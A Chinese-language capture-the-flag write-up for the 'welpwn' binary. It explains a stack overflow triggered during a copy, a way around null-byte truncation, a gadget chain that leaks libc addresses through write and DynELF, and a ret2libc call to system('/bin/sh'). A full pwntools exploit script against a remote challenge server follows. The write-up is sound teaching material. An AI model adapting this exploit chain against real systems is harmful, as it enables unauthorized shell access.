输入没有溢出, 但是复制过程出现了溢出点, 0x400复制到0x10中, 所以可以溢出echo函数, 劫持到ROP泄露puts地址, 找到libc版本, 然后ret2libc. 不过尝试之后发现行不通, 因为复制过程遇到截断符’\0’会停止, 所以直接ROP链会复制不完全, pop_rdi_addr本身就包含了’\0’, 所以可以平衡栈后执行ROP, 这里不一定是在复制完返回地址之后马上截断, 但是8字节地址中包含’\0’, 所以一定会截断, 这里覆盖到的地址是buf的前8个字节, 对ROP没影响, 所以理论可行
栈帧结构
所以需要pop_4_addr, 弹出buf的前4 * 8个字节, 后面接ROP就可以正常运行
这里构造ROP需要特殊的片段, 也考验攻击者的构造能力
设置
rbx = 0
rbp = 1
r12 = write_got
r13 = rdx = write的第三个参数 = 8
r14 = rsi = write的第二个参数 = leak_addr
r15 = rdi = write的第一个参数 = 1 写出leak的地址
用DynELF泄露地址后, 寻找system地址, 配合写入"/bin/sh"实现get shell
这里需要注意, 执行mov_addr片段后, 会继续执行pop_6_addr片段, 所以需要填充7 * 8 = 56字节的数据, 再劫持会start_addr, 重复运行, 第二次运行时已经有了system地址, 所以只需要write写入"/bin/sh"到elf.bss()段, 再system调用即可
from pwn import *
from pwnlib.util.cyclic import cyclic
from pwnlib.util.misc import write
URL, PORT = "111.200.241.244", 57464
sel = 1
io = process("./welpwn") if sel == 0 else remote(URL, PORT)
elf = ELF("./welpwn")
print("success")
start_addr = 0x0000000000400630
read_got = elf.got['read']
write_got = elf.got['write']
pop_4_addr = 0x000000000040089c
pop_6_addr = 0x000000000040089A
pop_rdi_addr = 0x00000000004008a3
mov_addr = 0x0000000000400880
binsh_addr = elf.bss()
def leak(addr):
print(io.recv(1024))
payload1 = cyclic(0x18) + p64(pop_4_addr) + p64(pop_6_addr)
payload1 += p64(0) + p64(1) + p64(write_got) + p64(8) + p64(addr) + p64(1)
payload1 += p64(mov_addr) + cyclic(56) + p64(start_addr)
payload1.ljust(1024, b'z')
io.send(payload1)
leak_addr = io.recv(8)
return leak_addr
dyn = DynELF(leak, elf = ELF("./welpwn"))
sys_addr = dyn.lookup('system', 'libc')
payload2 = cyclic(0x18) + p64(pop_4_addr) + p64(pop_6_addr)
payload2 += p64(0) + p64(1) + p64(read_got) + p64(8) + p64(binsh_addr) + p64(0)
payload2 += p64(mov_addr) + cyclic(56) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(sys_addr)
payload2.ljust(1024, b'z')
print(io.recv(1024))
io.send(payload2)
io.send("/bin/sh\x00")
io.interactive()
总结
python3.x使用DynELF, 返回bytes类型就行, 不需要做任何处理
写入时记住read的第一个参数是0, 以标准输入stdin写入
打不通时, 注意检查payload是否少写了pop_rdi_addr设置system的参数